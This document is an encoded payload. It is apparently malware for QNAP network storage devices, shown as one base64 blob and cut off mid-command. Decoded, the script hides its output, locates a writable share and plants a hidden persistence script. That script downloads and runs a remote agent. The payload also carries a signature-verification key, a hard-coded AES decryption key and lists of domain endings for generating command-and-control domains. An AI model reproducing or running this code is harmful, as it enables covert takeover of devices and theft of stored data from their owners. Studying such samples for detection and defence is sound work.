+KCBleGVjID4vZGV2L251bGwgMj4mMTsgKApleHBvcnQgUEFUSD0iJHtQQVRIfTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2Jpbi9YMTE6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluIgpjb21tYW5kIC12IGRpcm5hbWUgPi9kZXYvbnVsbCAyPiYxIHx8IGRpcm5hbWUgKCkgeyB0ZXN0IC16ICIkMSIgJiYgZWNobyAiLiIgJiYgcmV0dXJuOyBsb2NhbCByPSIkezElIiR7MSMjKlshL119In0iOyBjYXNlICRyIGluIC8qWyEvXSovKnxbIS9dKi8qKSByPSIke3IlLyp9IjsgZWNobyAiJHtyJSIke3IjIypbIS9dfSJ9Ijs7ICovKikgZWNobyAke3IlJVshL119OzsgIiIpIGVjaG8gJDE7OyAqKSBlY2hvIC47OyBlc2FjOyB9CnRlc3QgLWQgL2V0Yy9jb25maWcgJiYgY29uZmRpcj0vZXRjL2NvbmZpZyB8fCB7IHRlc3QgLWQgL21udC9IREFfUk9PVC8uY29uZmlnICYmIGNvbmZkaXI9L21udC9IREFfUk9PVC8uY29uZmlnOyB9CnRlc3QgLWQgIiRjb25mZGlyIiB8fCBjb25mZGlyPS9ldGMvY29uZmlnCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcClxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVwKLy9JO3MvXCheXHxcClwpXFtbXlwKXVwrXF1cCi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9CmJkaXI9CnRlc3QgLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiICYmIGZvciBpIGluIGhvbWVzIFB1YmxpYyBEb3dubG9hZCBNdWx0aW1lZGlhIFdlYiBSZWNvcmRpbmdzOyBkbyBiZGlyPWBnZXRjZmcgIiRpIiBwYXRoIC1mICIke2NvbmZkaXJ9L3NtYi5jb25mImAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiB0ZXN0IC1kICIkYmRpciIgJiYgdGVzdHdyaXRlYWJsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpICYmIHJtICIke3Rlc3R3cml0ZWFibGV9IiAmJiBicmVhazsgYmRpcj0nJzsgZG9uZQp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIHsgY29tbWFuZCAtdiByZWFkbGluayA+L2Rldi9udWxsIDI+JjEgfHwgbG4gLXNmIC9iaW4vYnVzeWJveCAvdXNyL2Jpbi9yZWFkbGluazsgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YHJlYWRsaW5rICIvc2hhcmUvJHtpfSIgMj4vZGV2L251bGxgICYmIHRlc3QgISAteiAiJGJkaXIiICYmIGJkaXI9YGRpcm5hbWUgIiRiZGlyImAgJiYgYmRpcj0vc2hhcmUvJHtiZGlyIyMqL30gJiYgdGVzdCAtZCAiJGJkaXIiICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgYmRpcj1gZ2V0Y2ZnIFNIQVJFX0RFRiBkZWZWb2xNUCAtZiAiJHtjb25mZGlyfS9kZWZfc2hhcmUuaW5mbyJgCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBtb3VudCB8IHNlZCAtbiAicy8uKlwoXC9zaGFyZVwvW14gL11cK1wpIC4qL1wxL2dwIiB8IGhlYWQgLW4gMWAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGZvciBpIGluIENBQ0hFREVWM19EQVRBIENBQ0hFREVWMl9EQVRBIENBQ0hFREVWMV9EQVRBIE1EMF9EQVRBOyBkbyB0ZXN0IC1kICIvc2hhcmUvJHtpfSIgJiYgYmRpcj0iL3NoYXJlLyR7aX0iICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIGJkaXI9L21udC9IREFfUk9PVDsgfQplY2hvICdhYipjJyB8IGdyZXAgLUYgJ2FiKmMnID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD0iZ3JlcCAtRiIgfHwgeyBjb21tYW5kIC12IGZncmVwID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD1mZ3JlcCB8fCBmZ3JlcD1ncmVwOyB9CnRlc3QgIiRmZ3JlcCIgfHwgZmdyZXA9Z3JlcApzbGVlcCA1CmlmIFsgISAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiBdOyB0aGVuCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyIC1wICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnIiB8fCB0ZXN0IC1oICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIgfHwgbWtkaXIgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIKY2F0ID4gIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIgPDwiWEVPRiIKIyEvYmluL3NoClFOQVBfUVBLRz1jbG91ZGluc3RhbGwKUUlEX1BSRVNJU1RFTlRfQ09ORj0vZXRjL2NvbmZpZy9xaWRfcGVyc2lzdGVudC5jb25mCk5BU19DTE9VRF9JTlNUQUxMX1BBVEg9L2hvbWUvaHR0cGQvY2dpLWJpbi9jbG91ZGluc3RhbGwKQ0xPVURfSU5TVEFMTF9QQVRIPS90dW5uZWxfYWdlbnQKQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEg9L3R1bm5lbF9hZ2VudF9yYW1kaXNrCkNMT1VEX0lOU1RBTExfQUdFTlRfRklMRV9QQVRIPSRDTE9VRF9JTlNUQUxMX1BBVEgvdHVubmVsX2FnZW50LnRhci5iejIKQ09VTlRFUj0xCkVSUk9SX0JBRF9SRVFVRVNUPTQwMAoKaWYgWyAiJGZyb21yY1MiID0gJ1RSVUUnIF07IHRoZW4KY2FzZSAiJDEiIGluCiAgc3RhcnQpCiAgICBTVEFSVF9USU1FPSQoZGF0ZSArIiVUIikKICAgIGVjaG8gLWUgInN0YXJ0OiRTVEFSVF9USU1FIiA+PiAvdG1wLy5jbG91ZGluc3RhbGwubG9nCiAgICB3aGlsZSBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsKICAgIGRvCiAgICAgICAgIyByZXBvcnQgZGV2aWNlIGluZm8gYW5kIGdldCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwIGRvd25sb2FkIHVybAogICAgICAgIERPV05MT0FEX1VSTD1gL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLXJgCiAgICAgICAgaWYgWyAhIC1kICIkQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgIGlmIFsgIiROQVNfQVJDSCIgPT0gIkFSTV82NCIgXTsgdGhlbgogICAgICAgICAgICAgICAgIyBjcmVhdGUgcmFtZGlzayBhbmQgY3JlYXRlIGEgNjRtYiBmaWxlCiAgICAgICAgICAgICAgICAvYmluL21rZGlyIC1wICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgKICAgICAgICAgICAgICAgIC9iaW4vZGQgaWY9L2Rldi96ZXJvIG9mPSRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZSBicz0xTSBjb3VudD02NAogICAgICAgICAgICAgICAgIyBjcmVhdGUgYmxvY2sgc2l6ZSAxSyBmaWxlc3lzdGVtCiAgICAgICAgICAgICAgICAvc2Jpbi9ta2UyZnMgLWIgMTAyNCAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgvaW1hZ2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgZXhwb3J0IFVTRURfTE9PUF9ERVZJQ0U9YC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1mICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZWAKICAgICAgICAgICAgICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiVVNFRF9MT09QX0RFVklDRSIgIiRVU0VEX0xPT1BfREVWSUNFIgogICAgICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICAgICAjIG1vdW50IHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAkVVNFRF9MT09QX0RFVklDRSAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIGFuZCBtb3VudCB0bXBmcyBmb2xkZXIKICAgICAgICAgICAgICAgIC9iaW4vbWtkaXIgLXAgJENMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgICAgICBjZCAkQ0xPVURfSU5TVEFMTF9QQVRICgogICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gaHR0cHMqIF1dOyB0aGVuCiAgICAgICAgICAgIFJFUE9SVF9TVUNDRVNTX1RJTUU9JChkYXRlICsiJVQiKQogICAgICAgIGVsc2UKICAgICAgICAgICAgUkVQT1JUX0ZBSUxfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgIGVjaG8gLWUgIiByZXBvcnRfZmFpbDokUkVQT1JUX0ZBSUxfVElNRVxuIHJlc3BvbnNlOiRET1dOTE9BRF9VUkwiID4+IC90bXAvLmNsb3VkaW5zdGFsbC5sb2cKICAgICAgICAgICAgIyBzdG9wIHJldHJ5IHdoZW4gZ290IGJhZCByZXF1ZXN0CiAgICAgICAgICAgICMgcHJldmVudCBwdXQgYmFkIHJlcXVlc3QgYWxsIHRoZSB0aW1lCiAgICAgICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gKiRFUlJPUl9CQURfUkVRVUVTVCogXV07IHRoZW4KICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKCiAgICAgICAgIyBkb3dubGFvZCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwCiAgICAgICAgL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLW8gIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgLWQgIiRET1dOTE9BRF9VUkwiCgogICAgICAgIGlmIFsgLWYgIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgXTsgdGhlbgogICAgICAgICAgICBET1dOTE9BRF9GSU5JU0hfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgICMgdW56aXAgYW5kIGV4ZWN1dGUgY2xvdWRpbnN0YWxsYWdlbnQKICAgICAgICAgICAgL2Jpbi90YXIgLXhmICRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCAtQyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RhcnQgJj4gL2Rldi9udWxsCgogICAgICAgICAgICBVTlpJUF9USU1FPSQoZGF0ZSArIiVUIikKICAgICAgICBmaQoKICAgICAgICBpZiBbICEgLWQgIiROQVNfQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgICMgY3JlYXRlIGZvbGRlciBhbmQgY3JlYXRlIHN5bWJvbGljIGxpbmsKICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmh0bWwgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvaW5kZXguaHRtbAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmNnaSAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSC9jbG91ZGluc3RhbGwuY2dpCiAgICAgICAgICAgIC9iaW4vbG4gLXMgJENMT1VEX0lOU1RBTExfUEFUSC91aS9zdGF0aWMgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvc3RhdGljCiAgICAgICAgZmkKCiAgICAgICAgIyB3YWl0IGNvbm5lY3QKICAgICAgICBzbGVlcCA1CiAgICAgICAgQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVD1gL2Jpbi9wcyAtLWNvbHVtbnMgMjU2IHwgL2Jpbi9ncmVwICIkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxhZ2VudCIgfCAvYmluL2dyZXAgLXYgZ3JlcCB8IC9iaW4vYXdrICd7cHJpbnQgJDF9J2AKICAgICAgICBpZiBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsgdGhlbgogICAgICAgICAgICBTTEVFUF9USU1FPSQoKCAzMCAqICRDT1VOVEVSICkpCiAgICAgICAgICAgIGlmIFsgJFNMRUVQX1RJTUUgLWd0IDMwMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBTTEVFUF9USU1FPTMwMAogICAgICAgICAgICBmaQogICAgICAgICAgICAjIHdhaXQgbmV4dCByZXRyeQogICAgICAgICAgICBzbGVlcCAkU0xFRVBfVElNRQogICAgICAgIGZpCiAgICAgICAgQ09VTlRFUj0kKCggJENPVU5URVIgKiAyICkpCiAgICBkb25lCgogICAgRU5EX1RJTUU9JChkYXRlICsiJVQiKQogICAgZWNobyAtZSAicmVwb3J0X3N1Y2Nlc3M6JFJFUE9SVF9TVUNDRVNTX1RJTUVcbmRvd25sb2FkX2ZpbmlzaDokRE9XTkxPQURfRklOSVNIX1RJTUVcbnVuemlwX2ZpbmlzaDokVU5aSVBfVElNRVxuZW5kOiRFTkRfVElNRSIgPj4gL3RtcC8uY2xvdWRpbnN0YWxsLmxvZwogICAgIyBjYWxsIGZvciBhIG5ldyBwcm9jZXNzIGdyb3VwIGFuZCBmb3IgbGF0ZXIga2lsbAogICAgL2Jpbi9zZXRzaWQgJENMT1VEX0lOU1RBTExfUEFUSC9iaW4vY2xvdWRpbnN0YWxsX2FnZW50X2Rpc2Nvbm5lY3RfZGFlbW9uLnNoIHN0YXJ0ICY+IC9kZXYvbnVsbCAmCiAgICAvYmluL3NldHNpZCAkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxfYWdlbnRfZGFlbW9uLnNoICY+IC9kZXYvbnVsbCAmCgogICAgIyBzZXQgY2xvdWRpbnN0YWxsIHJlcG9ydCBzdGF0dXMKICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiUkVQT1JUX1NUQVRVUyIgInVuaW5pdCIKICAgICMgYWRkIGxpbmsgdG8gcmVwb3J0IG9mZmxpbmUKICAgIC9iaW4vbG4gLXNmIC9ldGMvaW5pdC5kL2Nsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZS5zaCAvZXRjL3JjSy5kL0s5OWNsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZQoKICAgICMgYnV6emVyCiAgICBIQVJEV0FSRV9UWVBFPSQodW5hbWUgLW0pCiAgICBpZiBbWyAiJEhBUkRXQVJFX1RZUEUiID09ICoieDg2IiogXV07CiAgICB0aGVuCiAgICAgIC9zYmluL2hhbF9hcHAgLS1zZV9idXp6ZXIgZW5jX2lkPTAsbW9kZT0xMDEKICAgIGVsaWYgW1sgIiRIQVJEV0FSRV9UWVBFIiA9PSAqImFybSIqIF1dOwogICAgdGhlbgogICAgICAvc2Jpbi9waWNfcmF3IDgxCiAgICBmaQogICAgOzsKCiAgc3RvcCkKICAgICMgZGlzY29ubmVjdCBjbG91ZGluc3RhbGwgYWdlbnQKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RvcCAmPiAvZGV2L251bGwKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9kaXNjb25uZWN0X2RhZW1vbi5zaCBzdG9wICY+IC9kZXYvbnVsbAogICAgZm9yIGkgaW4gIiR7Q0xPVURfSU5TVEFMTF9BR0VOVF9EQUVNT05fUElEX0xJU1RbQF19IgogICAgZG8KICAgICAgICAjIHVzZSBiYXNoIGtpbGwgaW5zdGVhZCAvYmluL2tpbGwgZm9yIGtpbGwgcHJvY2VzcyBncm91cAogICAgICAgICMgY2xvdWRpbnN0YWxsIGFnZW50IGRhZW1vbiBhbmQgaW5vdGlmeXdhaXQKICAgICAgICBraWxsIC05IC0tIC0kaSAmPi9kZXYvbnVsbAogICAgZG9uZQoKICAgICMgdW1vdW50CiAgICBpZiBbICIkTkFTX0FSQ0giID09ICJBUk1fNjQiIF07IHRoZW4KICAgICAgICAvYmluL3Vtb3VudCAtbCAkVVNFRF9MT09QX0RFVklDRQogICAgICAgIC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1kICRVU0VEX0xPT1BfREVWSUNFCiAgICBlbHNlCiAgICAgICAgL2Jpbi91bW91bnQgLWwgJENMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgICMgcmVtb3ZlIGFsbCBmaWxlcwogICAgaWYgWyAtZCAiJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgIGlmIFsgLWQgIiRDTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICBmaQogICAgaWYgWyAtZCAiJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRIIiBdOyB0aGVuCiAgICAgICAgL2Jpbi9ybSAtcmYgJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRICiAgICBmaQogICAgOzsKCiAgcmVzdGFydCkKICAgICQwIHN0b3AKICAgICQwIHN0YXJ0CiAgICA7OwoKICAqKQogICAgZWNobyAiVXNhZ2U6ICQwIHtzdGFydHxzdG9wfHJlc3RhcnR9IgogICAgZXhpdCAxCmVzYWMKZXhpdCAwCgoKc2V0X2VudigpCnsKCWRlYnVnPWAkQ01EX0dFVENGRyBRc3luYyBEZWJ1ZyAtdSAtZCBOVUxMYAoJaWYgWyAiJGRlYnVnIiAhPSAiTlVMTCIgXTsgdGhlbgoJCS9iaW4vdG91Y2ggJExPR19GSUxFCgllbHNlCgkJL2Jpbi9ybSAtZiAkTE9HX0ZJTEUKCWZpCn0KCnNldF9lbnYKCmRiZygpCnsKCWlmIFsgLWYgIiRMT0dfRklMRSIgXTsgdGhlbgoJCWVjaG8gIltgZGF0ZSAiKyVIOiVNOiVTImBdICRAICIgPj4gJExPR19GSUxFCglmaQp9CgpkYmcgIj4gJDAgJEAgKHBpZCAkJCkiCgpmaQoKZXhwb3J0IFBBVEg9IiR7UEFUSH06L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9iaW4vWDExOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbiIKCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcblxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVxuLy9JO3MvXCheXHxcblwpXFtbXlxuXVwrXF1cbi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9Cgp0ZXN0IC1kIC9ldGMvY29uZmlnICYmIGNvbmZkaXI9L2V0Yy9jb25maWcgfHwgeyB0ZXN0IC1kIC9tbnQvSERBX1JPT1QvLmNvbmZpZyAmJiBjb25mZGlyPS9tbnQvSERBX1JPT1QvLmNvbmZpZzsgfQoKYmRpcj0KdGVzdCAtZiAiJHtjb25mZGlyfS9zbWIuY29uZiIgJiYgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YGdldGNmZyAiJGkiIHBhdGggLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiYCAmJiB0ZXN0ICEgLXogIiRiZGlyIiAmJiBiZGlyPWBkaXJuYW1lICIkYmRpciJgICYmIHRlc3QgLWQgIiRiZGlyIiAmJiB0ZXN0d3JpdGVhYmxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgJiYgcm0gIiR7dGVzdHdyaXRlYWJsZX0iICYmIGJyZWFrOyBiZGlyPScnOyBkb25lCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgeyBjb21tYW5kIC12IHJlYWRsaW5rID4vZGV2L251bGwgMj4mMSB8fCBsbiAtc2YgL2Jpbi9idXN5Ym94IC91c3IvYmluL3JlYWRsaW5rOyBmb3IgaSBpbiBQdWJsaWMgRG93bmxvYWQgTXVsdGltZWRpYSBXZWIgUmVjb3JkaW5ncyBob21lczsgZG8gYmRpcj1gcmVhZGxpbmsgIi9zaGFyZS8ke2l9IiAyPi9kZXYvbnVsbGAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiBiZGlyPS9zaGFyZS8ke2JkaXIjIyovfSAmJiB0ZXN0IC1kICIkYmRpciIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBnZXRjZmcgU0hBUkVfREVGIGRlZlZvbE1QIC1mICIke2NvbmZkaXJ9L2RlZl9zaGFyZS5pbmZvImAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGJkaXI9YG1vdW50IHwgc2VkIC1uICJzLy4qXChcL3NoYXJlXC9bXiAvXVwrXCkgLiovXDEvZ3AiIHwgaGVhZCAtbiAxYAp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgZm9yIGkgaW4gQ0FDSEVERVYzX0RBVEEgQ0FDSEVERVYyX0RBVEEgQ0FDSEVERVYxX0RBVEEgTUQwX0RBVEE7IGRvIHRlc3QgLWQgIi9zaGFyZS8ke2l9IiAmJiBiZGlyPSIvc2hhcmUvJHtpfSIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgYmRpcj0vbW50L0hEQV9ST09UOyB9CmdyZXAgLUYgJycgPDxFT0YgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPSJncmVwIC1GIiB8fCB7IGNvbW1hbmQgLXYgZmdyZXAgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPWZncmVwIHx8IGZncmVwPWdyZXA7IH0KCkVPRgp0ZXN0ICIkZmdyZXAiIHx8IGZncmVwPWdyZXAKdGVzdCAiJFJBTkRPTSIgfHwgUkFORE9NPTE3NjUzCmdlbnJzdHIgKCkgCnsgCiAgICBsb2NhbCBzPTsKICAgIGxvY2FsIG1pbj0kezE6LTR9OwogICAgbG9jYWwgbWF4PSR7MjotMTJ9OwogICAgbG9jYWwga3NwYWNlPSIkezM6LWEtekEtWn0iCiAgICB0ciAtZGMgIiRrc3BhY2UiIDwgL2Rldi91cmFuZG9tIHwgeyAKICAgICAgICByZWFkIC1ybiAkKCgkUkFORE9NICUgKCAkbWF4IC0gJG1pbiArIDEgKSArICRtaW4gKSkgczsKICAgICAgICBlY2hvICIkcyIKICAgIH0KfQoKdmVyaWZ5ZmlsZSgpIHsKbG9jYWwgZmlsZT0iJDEiCmxvY2FsIHNpZz0iJHsyOi0kZmlsZV9zfSIKbG9jYWwgb3V0CnRlc3QgISAteiAiJGZpbGUiICYmIHRlc3QgLXMgIiRmaWxlIiB8fCByZXR1cm4gMQp0ZXN0ICEgLXogIiRzaWciICYmIHRlc3QgLXMgIiRzaWciIHx8IHJldHVybiAxCnRlc3QgLWYgIi5yc2FrZXkiIHx8IGVjaG8gIiR2ZXJpZnlrZXkiID4gIi5yc2FrZXkiCm91dD0kKG9wZW5zc2wgZGdzdCAtc2hhMSAtdmVyaWZ5ICIucnNha2V5IiAtc2lnbmF0dXJlICIkc2lnIiAiJGZpbGUiKSAmJiB0ZXN0ICIkb3V0IiA9ICJWZXJpZmllZCBPSyIgJiYgcmV0dXJuIDAKcmV0dXJuIDEKfQoKZGVjcnlwdGZpbGUoKSB7CmxvY2FsIGZpbGU9IiQxIgpsb2NhbCBvZmlsZT0iJHsyOi0ke2ZpbGV9fSIKbG9jYWwga2V5PSc3QzB2SzRTek1PMTV6QnhMRDdYQ2k1aGJqZ1AxWmprSicKb3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1rICIka2V5IiAtbWQgc2hhMSAtc2FsdCA8ICIkZmlsZSIgPiAiJHtmaWxlfV9kIiB8fCByZXR1cm4gJD8KdGVzdCAtZiAiJG9maWxlIiAmJiBybSAtZiAiJG9maWxlIgptdiAiJHtmaWxlfV9kIiAiJG9maWxlIiAmJiByZXR1cm4gMApyZXR1cm4gMQp9Cgp2ZXJpZnlrZXk9Jy0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tCk1JSUJvakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBWThBTUlJQmlnS0NBWUVBdC9FRFQ2U0I3NWF0ckhXN0Nwb2cKQ1hxckJNMkNWYkpvJzt2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInZzRyd3dTJyd6MUJwMWkxJwp2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInQjdCOVdkNTFubzMybHBScU9NKzlHT3IyVzE3eHdKOHBxcFFvdGV4ClJDNXFRU2lTLzdGUzQ4anNQS3NKbnJVaG5zSTFmUkxNNERxc0VGM1VPdWtadURPWVVobHRlRHVNcXFaQnowQUMKUTNZbkxqcmFUamNoTUYwWG1hQUFjV09rZzVNc3hBT0tUZXB1ZTRSL3RuclBBa0FHODZucTVMQTErd2E3b3BOVgpnUXp3RGg3WVhoQm5XejUyK2ViWjlUZXFEMzEvc2I1aG95VUtmMU5yNUhjS2trbE9idXoxT0dRSi8vcGtDYlRDCjJFblF3NnRDUFFoZ1NJQTh3SktrYXhXMGYvVUhQK1lCbVdhNFduK3VQckpKdUhTVk5FSnRBcDJ3bFgzVEhsdHoKMElHUFFFdXpvYWZPQWwzRUZqYXMzSGNUWDJIbEVmbnZBdFJMMmlMeEplYmExblorVTNnZVpPdXhMMU5oV2hOaApwamFMY0t3aGtSY2s3WTVocjFQejhwTERuWHN4NXcwUVV6NlhTOEhWZi9LSG5OWEh1ZkZFbjAxeTlZb1B1YXUxCkRObnBER2JxNjMyQnM4RVNkM3VlSGs5T1kvVVp4V2VOM1VkYnNlRnhLMzVYQWdNQkFBRT0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tJwoKRE9NQUlOX0VYVF9BPSdjZiB0ayBtbCBnYSBncScKRE9NQUlOX0VYVF9CPSdjb20gYml6IG9yZyBkZSByb2NrcyBteCBjbiB0b3AgbmwgbWVuIHdzIHNlIGluZm8geHl6IG5ldCB0b2RheSBydSBmaSBuYW1lIHRvIGluIGNvbS51YSB2ZyB2biBjZCcKCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1r